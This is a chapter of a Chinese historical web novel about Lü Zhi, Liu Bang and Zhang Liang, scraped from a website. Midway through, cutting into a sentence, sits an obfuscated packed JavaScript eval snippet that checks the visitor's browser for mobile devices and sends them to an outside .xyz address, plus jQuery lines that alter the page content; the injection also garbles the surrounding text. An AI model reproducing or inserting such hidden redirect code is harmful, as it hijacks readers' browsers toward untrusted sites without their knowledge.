萧何认识许负,知道她是吕雉身边的人,如今是女扮男装,所以并不惊讶她和阿同一起进来。至于行不行礼,他不会和吕雉的身边人计较这点。
见萧何也在这,姚同也诧异了一下,心中对吕雉将要说的事情隐隐有了猜测。
“你们夫妻俩,别怪我唐突,把你们两个一起叫到这里,实在是你们都忙,难得有把你们叫到一起的时候。”不必吕雉开口,自有人来给姚同上茶,“事出紧急,我没提前通知你们,就把你们叫到一起,莫要怪罪。”
许负则挑了个靠后的位置,舒舒服服地闭上眼睛。
萧何:“王后说笑了,臣怎敢当。”
吕雉没有卖关子:“今日把你们叫过来,是想告诉你们一见喜事——戚砚有孕了。”
萧何先是瞪大了眼睛,想了好一会,才想起来戚砚是哪一个。
一年前,大王要搜罗美女时,吕雉杀了栎阳县令,大王不敢再提这件事。没过几日,吕雉却突然让人去定陶,寻一名姓戚的美女来。
派去的人寻到了戚砚,她是位农家女,查清楚了家室清白,就有人将她送到了荥阳献给大王。大王与这位女子兴趣相投,秉性相和,甚是喜欢,带在身边离不开,多有纵容,甚至让将士给她运送沐浴用水。
风言风语,萧何是听过一些的。只是作为臣子,只要刘邦没有做的太过,他就不好多说什么。
她有孕了,大王看起来不太想送她回栎阳,由王后照看。而军中,到底缺少专治妇人的医师。
“恭喜王后和大王!”
“恭喜王后和大王!”
两人齐声道。
有了新的小郎君或小娘子,这是好事。大王年过半百,子嗣单薄,一直以来只有刘肥、刘盈两位小郎君,和刘施一位小娘子。
而今后妃有孕,确实是一件好事情。
姚同明白了吕雉叫她来的用意。
“妾愿意前去荥阳,替王后照料戚夫人。”姚同道。
萧何想要劝阻,余光瞥到吕雉时,又住了嘴。
“阿同,我叫你来,确实有这个意思。”吕雉叹气,低敛眉毛,“但是你自己都身子单薄……”
“娥姁,我并非全是为了你。”姚同轻轻摇头,“我自己在栎阳开医药铺子,能做的,终究有限。”
不必姚同继续说下去,吕雉就明白了她的言外之意。
最快往上爬的方式,无外乎那几种了。
.
“大王,栎阳来的女医到了。”
刘邦正和张良说话,听到侍从的禀报,张良低头起身就要退出去,被刘邦一把按住:“子房莫走,一块见见。”
“陛下见女眷,臣还是回避为好。”张良笑着,眉目清浅。
“哎,这位女眷,你不陌生,你也是见过的,不必回避了。”
在刘邦的坚持下,张良还是留了下来,但低着头,眼神一丝也没分给面前的案几以外的地方。
“妾身姚同,拜见大王。妾奉王后之命,前来照料大王和夫人。”姚同在侍从的带领下走了进来,步履稳健,丝毫不见以前的病弱。
“阿同,都是自家人,不必多礼了,快些起来,坐。”刘邦叫人给姚同看了座。
对姚同的到来,刘邦是早就得了消息的。他很满意王后的周全,也很满意萧何的懂事。把族内兄弟送过来辅佐还不算,又送了妻儿过来照料他的后妃。
算是对萧何和王后的回报,所以王后提出的改革土地制度一事,虽然多有为难和阻碍,他还是让他们放心去做了,他在这守着,兵来将挡,水来土掩,那些地方豪绅翻不出什么浪花来。
姚同向刘邦汇报了栎阳城的情况,王后如何,老太公如何,几个孩子如何,说完,她就敛起眸子,静静等着刘邦的回复。
刘邦照常安抚了一番,给了姚同赏赐,就让人领着她下去见戚砚了。
“子房觉得,她如何?”姚同走后,刘邦问道。
“姚夫人医术高明,妙手回春,定能护佑夫人生下孩儿。”张良假装听不出刘邦的言外之意,答的中规中矩。
他不想牵扯刘邦后院那些事情。
“子房,你知道的,我指的,并不是这个。”刘邦笑着摇头,“知我者,莫过子房,子房还猜不出我心中所想吗?”
话说到这个份上,张良再装傻就不合适了,正色道:“大王,太子是国之根基,根基不可动摇。”
去年,在栎阳的时候,刘邦已经让萧何和吕雉立了宗庙,立了刘盈为太子。太子一立,一个月以内,刘盈就先后经历过三次刺杀,四次下毒,几番送了性命,直到吕雉加强了王府的管理和栎阳的治理,刘盈才逐渐安全。
这些刺杀和下毒,有西楚的人,也不乏各个诸侯王的人。当然,有没有刘邦后院其他人的手笔,张良就不敢妄加揣测了。
刘邦还想再说什么,张良道:“大王可听说过,春秋时期晋国国君重耳的故事?正是因为他的父亲要废长立幼,才有重耳流落诸侯国几十年,晋国几十年内乱,直到重耳归国,晋国才强大起来。而今我大汉和西楚正处于水深火热的时候,胜负未分,根基未定,况小郎君还未出生,大王怎可有别的想法?”
刘邦本来也只是试探一下张良的态度,没真的想坚持什么,打了个乐呵将此揭过了。
出了刘邦帐子,张良眉间不由地闪过一丝沉重。他知道,刘邦不会真的当笑话随口一提。他绝对是有了这个想法,才拿来试探他。
吕雉作为他的发妻,守在栎阳兢兢业业,镇抚降臣家眷,侍奉老太公,养育子女,带领着大臣的家眷,而刘邦竟然生出来了换太子的想法……
对待恩义深重的发妻尚且如此,对待臣子……
.
高台之上,白衣飘飘,宛若仙人。
“那不是张先生吗?他怎么又站在高处,不冷吗?”陈贺挠了挠头。
“这才六月,哪里来的冷不冷。”孔聚怪异地看了他一眼,藏不住眼里的嫌弃。
陈贺伸手挡住眼前的阳光:“说得也是,站那么高,不晒的慌吗?”
孔聚仰头,望着高处的张良看了半天,看得脖子酸:“不知道。可能人家读书人有自己的道理吧。”
“说起读书人,听说司马在军中开了学堂,教他们读书呢。可便宜他们了。”陈贺颇有些遗憾,“咱们差一点也是读书人了。”
“往日没见你如此好学。”孔聚评价道。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16110089|168494||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“唉唉唉,你没见过地多了去了。”陈贺不满。
“两位兄弟,瞧什么呢。”一个高大的身影靠拢过来,将他们笼罩在自己的阴影里,一左一右地勾住他们脖子,“叽里咕噜说什么呢,说给我听听。”
“樊将军。”陈贺吓得一缩,这大块头前几日可没少拉着他比试。
孔聚瞥他一眼:“他好奇,张先生为和经常站在高处眺望。”
陈贺瞪大了眼睛:“唉唉唉,孔聚你……”
“哦,这个呀。”樊哙跟着抬头看了一眼高处的张良,仿佛习以为常般,“他嘛,习惯就好,你们刚在这待了没几日,自然不知道,他就这么个习惯。他偶尔就登高,看看远方。喏,那个高台,就是大王专门给他建的。”
樊哙压低脑袋,凑近他们,低声道:“我听某个混蛋说啊,他看的,是韩国的方向。还有,大王有次酒后跟我们说,他那是怀念他妻儿呢。”
“妻儿!?”陈贺惊呼出声。
樊哙一巴掌拍在他脑袋上:“小点声,当心让张先生听见了。”
事实上,张良早就听见了。
非是张良有心去听他们说话,实在是陈贺跟孔聚俩身影太显眼了,樊哙嗓门太大了,他想不注意都难。
陈贺无助地望着高处的张良:“他是不是在看我们……?”
樊哙自以为声音很低:“那哪儿能……”他眼神不自觉地瞟过去,却见张良不在那高台上了,几息的功夫,张良已经从高处下来,往他们这边走了。
“他、他什么功夫下来的?”陈贺十分惊恐。
“废话,当然是我们说话的功夫下来的。”樊哙敲了陈贺脑袋一下。
陈贺摸着隐隐作痛的脑袋:“张先生不是病殃殃的吗,怎么速度如此快……”
孔聚忍不住了:“废话,人家张先生能在博浪沙刺秦,哪能真的手无缚鸡之力。”
“孔将军谬赞了。”说话间,张良已经走到他们面前。
几人纷纷站直了行礼,态度恭恭敬敬:“张先生。”
张良略微点头,算是还礼:“两位将军似乎对良颇有兴趣。”
他指的,是陈贺与孔聚。
陈贺扇子似的大掌摆起来:“不不不……”
孔聚觉得他话说得不太周全,又不知如何纠正他。
刘邦对这位张先生都敬重地很,因此樊哙一见他就发怵,趁着陈贺和孔聚不注意溜走了,留下这俩人面对张良。
陈贺和孔聚跟在韩信身边时,跟赵令徽是有什么说什么,赵令徽脾气好,也不会跟他们计较。可看这位张先生浑身上下清清冷冷地,都不像是凡尘中人,陈贺摸不清他的脾气,不敢再乱讲话。
“二位将军若有什么要问的,直接问良就是。”对他们两个莫名其妙的恐惧,张良很是无奈。
得到张良这样的回复,陈贺也不继续遮遮掩掩:“他们说张先生有妻儿?”
张良点点头,眉目见漾开笑意:“良比二位将军年长二十,有妻儿是很自然的事情。”
“啧啧啧,张先生看起来不像是比我们年长二十,倒像是二十。”陈贺感慨道。
张良勾了勾唇角:“多谢陈将军夸奖。”